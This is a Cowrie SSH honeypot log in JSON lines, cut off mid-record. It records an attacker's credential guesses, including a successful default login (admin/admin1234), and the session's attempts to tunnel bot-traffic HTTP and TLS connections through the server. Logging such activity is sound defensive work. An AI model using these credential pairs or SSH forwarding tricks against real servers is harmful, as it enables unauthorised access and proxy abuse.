{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:03.654144Z","src_ip":"182.93.50.90","session":"bf4094fb2e2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tan","password":"tan","message":"login attempt [tan/tan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:04.557025Z","src_ip":"182.93.50.90","session":"bf4094fb2e2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:05.781753Z","src_ip":"182.93.50.90","session":"bf4094fb2e2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":62461,"dst_ip":"10.17.0.5","dst_port":22,"session":"07951b628dc4","protocol":"ssh","message":"New connection: 113.164.152.20:62461 (10.17.0.5:22) [session: 07951b628dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:11.510869Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:11.515103Z","src_ip":"113.164.152.20","session":"07951b628dc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:11.807062Z","src_ip":"113.164.152.20","session":"07951b628dc4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:13.046540Z","src_ip":"113.164.152.20","session":"07951b628dc4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:13.463190Z","session":"07951b628dc4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:13.588079Z","session":"07951b628dc4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:13.742789Z","src_ip":"113.164.152.20","session":"07951b628dc4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=NEU8Rz9kRHsoKU9UcGE8NA%3D%3DaxlXQAVN8OQqX3%2FObYiCFki532q%2FCrOBcMtEJzoGMtdXhlCjLeQ0VYnDRJbninZjoFh5Eg%2BGIUGv5aVGlFGCeC4ou3RLrVclzfoCdIEeUxekB7AHaqkzCNjAijyK21xPyKp2MhYzTrN9AqVymqosSgazqH1aRwxhsJatEJmBTwVFDedvP8L1lcKdTFkJseqyT%2BLLaGjEbl%2FUVt0TwsV4awmI%2BAkn68m0aRSsnrve7AX7259DsmIEsFPm6aXVYGlU3i7F80DBAM9sqeM2F4G5KQdsHDsllsEixw8AY32SwQnrF1uUqjEkm0TeW8HKLDHM8PnDGaOq6PgMgD8AthKK4NbxFI%2BqCKodL6itnJLF%2BMDkPdTh7ryX7h%2FSEswonEoZfTYFZc6EhTplSFDJuSRV1zAn8jbLrjT1CDBIcvHlf5%2Fp7sXjZ2wFMJcXdAyJfOkEAm7sXlwaCZzjXlQn4UiLa0huXBBWy5dmwx3hU8LM7BCdmG34L0xBudxnIWvotcbc4Ql93OszWuxQpxCTkd8ZHRR6qizgVuNPDyLVU%2FcXFM6xu3rh0Of160p2SwQN%2Fw2Dp0f82GWmIPOtb0AgGqLL9jl%2Fk%2BAazXEJOdkCMLUIuUwuKv2w0sksW8E%2FH9SSln6bFC77NLNmA98386X42Mu90gY0jSYnWckFeE%2FTHVriO0wj8of83JMN5%2FtfRjeouuU2wSpgzcKrhhjrZrhn2erpnfWIvgteSzFiMz7n%2BKgrrvD3oxa%2BTn2y5S%2FpgVxwS9%2BYM1remEvYUJxVmdQ5XCaURhZYW%2FvfeccM6Awp7C7tn5h9YDtKN2A1ldlZn2louw%2BNNTZTgTfAdya9lXYOspxxM636EutcJY%2FDbGPt0Xqnl9oni4AnEaTrKXymzogs8oejkzPPCZPOAPDoTV%2Fo5yCmshL3k2HlInyS2njtVkKGZtg5FifiR4JeFA0ahSQB%2Bc%2BdZyffjLzZolmFhdki38iBJx3YfIABlR2KGlM5F%2BhptnfiJvAEzKT%2BeYfEDdxueFH9j1sBz4RNPj8og%2FiH%2FjH0xVXLzBn4UovIT6tJic5u7ZkVuGgxpdTnXEPvJycrPp8v'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1180\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=NEU8Rz9kRHsoKU9UcGE8NA%3D%3DaxlXQAVN8OQqX3%2FObYiCFki532q%2FCrOBcMtEJzoGMtdXhlCjLeQ0VYnDRJbninZjoFh5Eg%2BGIUGv5aVGlFGCeC4ou3RLrVclzfoCdIEeUxekB7AHaqkzCNjAijyK21xPyKp2MhYzTrN9AqVymqosSgazqH1aRwxhsJatEJmBTwVFDedvP8L1lcKdTFkJseqyT%2BLLaGjEbl%2FUVt0TwsV4awmI%2BAkn68m0aRSsnrve7AX7259DsmIEsFPm6aXVYGlU3i7F80DBAM9sqeM2F4G5KQdsHDsllsEixw8AY32SwQnrF1uUqjEkm0TeW8HKLDHM8PnDGaOq6PgMgD8AthKK4NbxFI%2BqCKodL6itnJLF%2BMDkPdTh7ryX7h%2FSEswonEoZfTYFZc6EhTplSFDJuSRV1zAn8jbLrjT1CDBIcvHlf5%2Fp7sXjZ2wFMJcXdAyJfOkEAm7sXlwaCZzjXlQn4UiLa0huXBBWy5dmwx3hU8LM7BCdmG34L0xBudxnIWvotcbc4Ql93OszWuxQpxCTkd8ZHRR6qizgVuNPDyLVU%2FcXFM6xu3rh0Of160p2SwQN%2Fw2Dp0f82GWmIPOtb0AgGqLL9jl%2Fk%2BAazXEJOdkCMLUIuUwuKv2w0sksW8E%2FH9SSln6bFC77NLNmA98386X42Mu90gY0jSYnWckFeE%2FTHVriO0wj8of83JMN5%2FtfRjeouuU2wSpgzcKrhhjrZrhn2erpnfWIvgteSzFiMz7n%2BKgrrvD3oxa%2BTn2y5S%2FpgVxwS9%2BYM1remEvYUJxVmdQ5XCaURhZYW%2FvfeccM6Awp7C7tn5h9YDtKN2A1ldlZn2louw%2BNNTZTgTfAdya9lXYOspxxM636EutcJY%2FDbGPt0Xqnl9oni4AnEaTrKXymzogs8oejkzPPCZPOAPDoTV%2Fo5yCmshL3k2HlInyS2njtVkKGZtg5FifiR4JeFA0ahSQB%2Bc%2BdZyffjLzZolmFhdki38iBJx3YfIABlR2KGlM5F%2BhptnfiJvAEzKT%2BeYfEDdxueFH9j1sBz4RNPj8og%2FiH%2FjH0xVXLzBn4UovIT6tJic5u7ZkVuGgxpdTnXEPvJycrPp8v'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:13.746045Z","src_ip":"113.164.152.20","session":"07951b628dc4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:14.012995Z","src_ip":"113.164.152.20","session":"07951b628dc4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0b\\xc9E\\x99\\x9f\\xf9P\\xfd\\xaa\\xbeG1\\xf2\\x93\\x0c\\xc8\\x03\\x1f\\x0b]\\x18\\r\\xa9\\x0b\\xf9\\xb0mI\\xd42\\xef\" \\xd7*\\xf9R\\x8c]Nz\\x88\\xa2\\xe0G\\xdf\\xd5\\xd7r\\xdf +)\\xd0\\\\\\x80\\x12\\xcc^\\x9a@\\x0b\\tE\\x97\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc3\\x81\\xe5\\xe3\\xad\\xed\\xfb\\t\\xa2\\x16E\\xe5\\x96\\n~\\xa1}k$)\\x9c\\x03\\x82Mk\\xe3RI\\xa3\\xcd\\xef \\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0b\\xc9E\\x99\\x9f\\xf9P\\xfd\\xaa\\xbeG1\\xf2\\x93\\x0c\\xc8\\x03\\x1f\\x0b]\\x18\\r\\xa9\\x0b\\xf9\\xb0mI\\xd42\\xef\" \\xd7*\\xf9R\\x8c]Nz\\x88\\xa2\\xe0G\\xdf\\xd5\\xd7r\\xdf +)\\xd0\\\\\\x80\\x12\\xcc^\\x9a@\\x0b\\tE\\x97\\x00 \\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc3\\x81\\xe5\\xe3\\xad\\xed\\xfb\\t\\xa2\\x16E\\xe5\\x96\\n~\\xa1}k$)\\x9c\\x03\\x82Mk\\xe3RI\\xa3\\xcd\\xef \\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x1a\\x1a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:14.015989Z","src_ip":"113.164.152.20","session":"07951b628dc4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:14.555651Z","session":"07951b628dc4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:14.830973Z","src_ip":"113.164.152.20","session":"07951b628dc4","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x19\\x05Jd\\x8e6Uub\\xc9\\xf2\\x1cp\\xfd\\xfc/\\x1e\\xd5\\x87bG)Z\\x18\\x93\\xc4\\xa7\\x14\\xec\\x00\\xd8\\n \\xd3\\xa0`F\\xfc\\xfex,\\x15\\xb9\\xf6\\xb9R5\\xcb\\xd3\\xdc\\xe5\\xb38\\x7f\\xe4\\xe2os*\\xd7$3\\xa9\\x05\\xe6\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 [_ $n(Z\\xd3\\xa0\\xf6\\xce\\xe82\\xc1\\x1f>\\xb6\\xaf.\\x1c$\\x80\"\\xd5n\\xa0\\x95\\x15\\x0bm\\xcb\\\\\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x19\\x05Jd\\x8e6Uub\\xc9\\xf2\\x1cp\\xfd\\xfc/\\x1e\\xd5\\x87bG)Z\\x18\\x93\\xc4\\xa7\\x14\\xec\\x00\\xd8\\n \\xd3\\xa0`F\\xfc\\xfex,\\x15\\xb9\\xf6\\xb9R5\\xcb\\xd3\\xdc\\xe5\\xb38\\x7f\\xe4\\xe2os*\\xd7$3\\xa9\\x05\\xe6\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 [_ $n(Z\\xd3\\xa0\\xf6\\xce\\xe82\\xc1\\x1f>\\xb6\\xaf.\\x1c$\\x80\"\\xd5n\\xa0\\x95\\x15\\x0bm\\xcb\\\\\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02zz\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":